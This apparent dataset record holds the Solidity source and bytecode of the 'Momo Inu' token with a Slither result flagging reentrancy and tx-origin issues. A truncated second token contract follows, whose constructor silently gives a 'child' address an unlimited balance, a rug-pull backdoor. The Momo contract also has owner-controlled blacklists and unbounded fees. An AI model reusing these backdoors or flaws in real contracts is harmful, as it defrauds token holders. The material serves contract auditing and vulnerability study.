function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MomoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Momo Inu";
string private constant _symbol = "MOMO";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 3;
//Sell Fee
uint256 private _taxFeeOnSell = 3;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xCC9e1778ECcBD176e11F2f04177514eaf4eA57fC);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 15000000 * 10**9; //1.5
uint256 public _maxWalletSize = 30000000 * 10**9; //3
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610561578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b806395d89b41146104c457806398a5c315146104f1578063a9059cbb14610511578063bfd792841461053157600080fd5b80638da5cb5b116100d15780638da5cb5b1461045b5780638eb59a5f146104795780638f70ccf71461048e5780638f9a55c0146104ae57600080fd5b8063715018a61461041057806374010ece146104255780637d1db4a51461044557600080fd5b80632fd689e31161016f578063672434821161013e578063672434821461037a5780636b9990531461039a5780636d8aa8f8146103ba57806370a08231146103da57600080fd5b80632fd689e314610308578063313ce5671461031e57806349bd5a5e1461033a578063658d4b7f1461035a57600080fd5b80630b78f9c0116101ab5780630b78f9c0146102715780631694505e1461029157806318160ddd146102c957806323b872dd146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c5f565b6105fc565b005b34801561020a57600080fd5b506040805180820190915260088152674d6f6d6f20496e7560c01b60208201525b6040516102389190611da6565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611bcb565b6106a9565b6040519015158152602001610238565b34801561027d57600080fd5b506101fc61028c366004611d58565b6106c0565b34801561029d57600080fd5b50600c546102b1906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102d557600080fd5b506005545b604051908152602001610238565b3480156102f457600080fd5b50610261610303366004611b57565b6106f5565b34801561031457600080fd5b506102da60105481565b34801561032a57600080fd5b5060405160098152602001610238565b34801561034657600080fd5b50600d546102b1906001600160a01b031681565b34801561036657600080fd5b506101fc610375366004611b97565b61075e565b34801561038657600080fd5b506101fc610395366004611bf6565b6107b3565b3480156103a657600080fd5b506101fc6103b5366004611ae7565b610867565b3480156103c657600080fd5b506101fc6103d5366004611d26565b6108b2565b3480156103e657600080fd5b506102da6103f5366004611ae7565b6001600160a01b031660009081526001602052604090205490565b34801561041c57600080fd5b506101fc6108fa565b34801561043157600080fd5b506101fc610440366004611d40565b610930565b34801561045157600080fd5b506102da600e5481565b34801561046757600080fd5b506000546001600160a01b03166102b1565b34801561048557600080fd5b506101fc61095f565b34801561049a57600080fd5b506101fc6104a9366004611d26565b6109aa565b3480156104ba57600080fd5b506102da600f5481565b3480156104d057600080fd5b506040805180820190915260048152634d4f4d4f60e01b602082015261022b565b3480156104fd57600080fd5b506101fc61050c366004611d40565b6109f2565b34801561051d57600080fd5b5061026161052c366004611bcb565b610a21565b34801561053d57600080fd5b5061026161054c366004611ae7565b600a6020526000908152604090205460ff1681565b34801561056d57600080fd5b506101fc610a2e565b34801561058257600080fd5b506102da610591366004611b1f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611d40565b610a74565b3480156105e857600080fd5b506101fc6105f7366004611ae7565b610aa3565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611df9565b60405180910390fd5b60005b81518110156106a5576001600a600084848151811061066157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069d81611f0c565b915050610632565b5050565b60006106b6338484610bbe565b5060015b92915050565b6000546001600160a01b031633146106ea5760405162461bcd60e51b815260040161062690611df9565b600691909155600755565b6000610702848484610ce2565b610754843361074f85604051806060016040528060288152602001611f69602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112b4565b610bbe565b5060019392505050565b6000546001600160a01b031633146107885760405162461bcd60e51b815260040161062690611df9565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107dd5760405162461bcd60e51b815260040161062690611df9565b60005b838110156108605761084d3386868481811061080c57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108219190611ae7565b85858581811061084157634e487b7160e01b600052603260045260246000fd5b905060200201356112ee565b508061085881611f0c565b9150506107e0565b5050505050565b6000546001600160a01b031633146108915760405162461bcd60e51b815260040161062690611df9565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161062690611df9565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161062690611df9565b61092e60006113d4565b565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161062690611df9565b600e55565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161062690611df9565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109d45760405162461bcd60e51b815260040161062690611df9565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a1c5760405162461bcd60e51b815260040161062690611df9565b601055565b60006106b6338484610ce2565b6000546001600160a01b03163314610a585760405162461bcd60e51b815260040161062690611df9565b30600090815260016020526040902054610a7181611424565b50565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062690611df9565b600f55565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062690611df9565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600060046000610b4a6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b7b816113d4565b600160046000610b936000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610c205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d465760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610da85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610e0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6001600160a01b03821660009081526004602052604090205460ff16158015610e4c57506001600160a01b03831660009081526004602052604090205460ff16155b1561118f57600d54600160a01b900460ff16610eaa5760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f7420796574207374617274656400006044820152606401610626565b600e54811115610efc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f3e57506001600160a01b0382166000908152600a602052604090205460ff16155b610f965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b600d546001600160a01b0383811691161461110457600d546001600160a01b038481169116148015610fd15750600d54600160b81b900460ff165b1561107e57326000908152600260205260409020544290610ff39060b4611e9e565b10801561102357506001600160a01b03821660009081526002602052604090205442906110219060b4611e9e565b105b61107e5760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b6064820152608401610626565b600f54816110a1846001600160a01b031660009081526001602052604090205490565b6110ab9190611e9e565b106111045760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b3060009081526001602052604090205460105481108015906111265760105491505b80801561113d5750600d54600160a81b900460ff16155b80156111575750600d546001600160a01b03868116911614155b801561116c5750600d54600160b01b900460ff165b1561118c5761117a82611424565b47801561118a5761118a47611628565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111d157506001600160a01b03831660009081526004602052604090205460ff165b806112035750600d546001600160a01b038581169116148015906112035750600d546001600160a01b03848116911614155b156112105750600061127e565b600d546001600160a01b03858116911614801561123b5750600c546001600160a01b03848116911614155b15611247576006546008555b600d546001600160a01b0384811691161480156112725750600c546001600160a01b03858116911614155b1561127e576007546008555b3260009081526002602052604080822042908190556001600160a01b03861683529120556112ae84848484611662565b50505050565b600081848411156112d85760405162461bcd60e51b81526004016106269190611da6565b5060006112e58486611ef5565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260019091529182205461133f9184906112b4565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461136e9083611683565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c29086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b179055600061144f60646114498460556116e9565b90611768565b9050600061145d8284611ef5565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106114a557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114f957600080fd5b505afa15801561150d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115319190611b03565b8160018151811061155257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c546115789130911687610bbe565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b1908790600090869030904290600401611e2e565b600060405180830381600087803b1580156115cb57600080fd5b505af11580156115df573d6000803e3d6000fd5b5050505060006115f883476117aa90919063ffffffff16565b90506116138461160e606461144985600f6116e9565b6117ec565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a5573d6000803e3d6000fd5b80611678576116728484846112ee565b506112ae565b6112ae8484846118a5565b6000806116908385611e9e565b9050838110156116e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b9392505050565b6000826116f8575060006106ba565b60006117048385611ed6565b9050826117118583611eb6565b146116e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b60006116e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119aa565b60006116e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b4565b600c546118049030906001600160a01b031684610bbe565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561186c57600080fd5b505af1158015611880573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108609190611d79565b60006118b184836119d8565b90506119198260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112b49092919063ffffffff16565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546119489082611683565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061199c9085815260200190565b60405180910390a350505050565b600081836119cb5760405162461bcd60e51b81526004016106269190611da6565b5060006112e58486611eb6565b6000806119f56064611449600854866116e990919063ffffffff16565b30600090815260016020526040902054909150611a129082611683565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a639085815260200190565b60405180910390a3611a7583826117aa565b949350505050565b8035611a8881611f53565b919050565b60008083601f840112611a9e578081fd5b50813567ffffffffffffffff811115611ab5578182fd5b6020830191508360208260051b8501011115611ad057600080fd5b9250929050565b80358015158114611a8857600080fd5b600060208284031215611af8578081fd5b81356116e281611f53565b600060208284031215611b14578081fd5b81516116e281611f53565b60008060408385031215611b31578081fd5b8235611b3c81611f53565b91506020830135611b4c81611f53565b809150509250929050565b600080600060608486031215611b6b578081fd5b8335611b7681611f53565b92506020840135611b8681611f53565b929592945050506040919091013590565b60008060408385031215611ba9578182fd5b8235611bb481611f53565b9150611bc260208401611ad7565b90509250929050565b60008060408385031215611bdd578182fd5b8235611be881611f53565b946020939093013593505050565b60008060008060408587031215611c0b578081fd5b843567ffffffffffffffff80821115611c22578283fd5b611c2e88838901611a8d565b90965094506020870135915080821115611c46578283fd5b50611c5387828801611a8d565b95989497509550505050565b60006020808385031215611c71578182fd5b823567ffffffffffffffff80821115611c88578384fd5b818501915085601f830112611c9b578384fd5b813581811115611cad57611cad611f3d565b8060051b604051601f19603f83011681018181108582111715611cd257611cd2611f3d565b604052828152858101935084860182860187018a1015611cf0578788fd5b8795505b83861015611d1957611d0581611a7d565b855260019590950194938601938601611cf4565b5098975050505050505050565b600060208284031215611d37578081fd5b6116e282611ad7565b600060208284031215611d51578081fd5b5035919050565b60008060408385031215611d6a578182fd5b50508035926020909101359150565b600080600060608486031215611d8d578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dd257858101830151858201604001528201611db6565b81811115611de35783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e7d5784516001600160a01b031683529383019391830191600101611e58565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611eb157611eb1611f27565b500190565b600082611ed157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ef057611ef0611f27565b500290565b600082821015611f0757611f07611f27565b500390565b6000600019821415611f2057611f20611f27565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a7157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122017c721b299602d3fd22cdc848964c39f7f0d66cbe03787f613155cb66698b86064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,030 |
0x8Df3A63EcA88413a47adE24a59b250c953eb9818
|
// https://t.me/whaledoge
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address child
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[child] = easily;
_balances[msg.sender] = _tTotal;
ahead[child] = easily;
ahead[msg.sender] = easily;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private easily = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
address[] crop = new address[](2);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
